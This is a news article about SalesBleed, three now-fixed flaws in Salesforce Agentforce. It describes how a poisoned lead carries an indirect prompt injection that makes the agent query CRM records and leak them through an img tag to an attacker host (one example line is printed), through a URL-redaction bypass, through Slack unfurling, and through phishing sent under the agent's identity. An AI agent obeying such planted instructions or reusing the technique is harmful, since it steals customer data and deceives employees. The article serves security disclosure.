Security flaws in Salesforce Agentforce allowed poisoned leads to hijack its AI agents, silently steal CRM data without requiring a click, and send phishing messages under the agents’ identities.
Zenity Labs uncovered the three vulnerabilities, collectively called SalesBleed, and reported them to Salesforce, which worked with the AI agent security provider to fix the issues.
While these attack chains no longer work, Zenity co-founder and CTO Michael Bargury told The Register that the vulnerabilities highlight the difficulties in controlling what agents can access - and what happens if and when they bypass guardrails intended to limit that access. “The bigger lesson here is about what it takes to keep AI agents contained,” Bargury said. “The idea of secure-by-design remains essential but for agents it may no longer be enough. We can anticipate risks and build protections into an agent from the start, yet still miss edge cases and the different ways it might behave once it encounters the real world.”
He added, the challenge of agent constraint is a “wider trend” that extends beyond SalesBleed.
“We’ve seen it with the OpenAI-Hugging Face incident where the agents managed to escape the sandbox that was meant to contain them, and we’re starting to see these types of flaws more and more often,” Bargury said. “As AI agents get more powerful, we need to monitor them ever more closely to keep track of what they’re up to. Because even when we think they’re contained, a single overlooked gap can change everything.”
0-click data exfiltration
The first two vulnerabilities turn a public lead form into a data exfiltration channel for stealing sensitive customer information. Zenity researchers detailed the flaws in a Thursday report and also demonstrated the attack chain in a video proof-of-concept.
The attack begins with an attacker abusing the Web-to-Lead form to plant an indirect prompt injection inside Salesforce. The malicious instructions remain dormant until an employee asks an Agentforce agent a question about leads - for example, "check my latest leads and help me with the newest one."
This causes the agent to process the poisoned lead and carry out the hidden instructions:
- Query the Accounts table using the same subagent's Query Records tool.
- Return a couple of fields, e.g., a company name and a deal size.
- Paste the values as a subdomain string for the attacker-controlled hostname.
- Print that URL back to the user as an HTML img src tag to generate a DNS query to the attacker-controlled DNS authoritative server (this is also where the URL redaction was supposed to stop us).
All of this happens without the employee ever knowing it.
This vulnerability is due to weaknesses in Salesforce’s Trusted URLs controls, which are supposed to restrict the external destinations that Agentforce can access, and redact links or images pointing to untrusted URLs.
Zenity found that this security mechanism didn’t register hostnames ending in an unrecognized top-level domain, and that adding certain characters interfered with how URLs were parsed. Abusing these two weaknesses allowed the researchers to write a string containing malicious instructions that successfully bypassed the URL redaction mechanism.
The instructions tell the Agentforce agent to query Salesforce records and embed the stolen CRM data in image requests to an attacker-controlled server:
<img src="https://exfiltrated_data.attacker_unique_url.com/image-url.jpg" >. “Since the frontend renders and fetches external image URLs in these tags without additional sanitization or user interaction, this allows images from any https source, or in our case: sending a request to fetch the image from any https source,” the Zenity team wrote.
This time, via Slack
Digital thieves could also abuse Slack’s URL unfurling mechanism to achieve this same zero-click Salesforce data exfiltration attack, the researchers found.
“Slack automatically retrieves information from links to generate previews, and specially constructed links can cause Slack to initiate requests that carry CRM data to attacker-controlled infrastructure as soon as the links appear,” they said.
The same public lead submission serves as the entry point, and then when an employee interacts with the Salesforce agent via Slack, they unknowingly trigger the malicious instructions and send sensitive data outside the organization to an attacker-controlled server.
“Salesforce fixed the URL redaction bypass, so this specific chain is closed. However, this type of vulnerability isn’t Salesforce-specific,” according to the researchers.
“Any agent that reads records submitted by external sources, renders links or images back to a user, and also holds tool access to sensitive data, has the same three ingredients sitting in the same place,” they noted.
Agents gone phishing
The third flaw - detailed in a separate blog - also involves Agentforce’s integration with Slack. When combined with the URL-redaction bypass, this vulnerability could be abused by an internal user or an external attacker to deliver phishing links using the agent’s own identity.
This attack exploits missing security controls in the Reply to a Slack Thread Agentforce action. This particular action did not require user confirmation before sending a message, and it also lacked visible attribution to the invoking user. This means that an agent that invoked Reply to a Slack Thread could send messages without a user approving them.
A malicious insider who already chats with the agent and uses its Slack actions could exploit this vulnerability to send phishing messages under the trusted agent’s identity while remaining anonymous.
Meanwhile, an external attacker could abuse this flaw via an indirect prompt injection planted in the Web-to-Lead, causing the agent to post phishing messages once an employee processed the poisoned lead.
Zenity reported all three security snafus to Salesforce on June 1, and the CRM giant confirmed it was working on fixes a day later. Zenity confirmed Salesforce’s fix for the Trusted URLs bypass on August 19, and on September 21, said it had tested all of Salesforce’s fixes and confirmed that all three vulnerabilities had been fixed. ®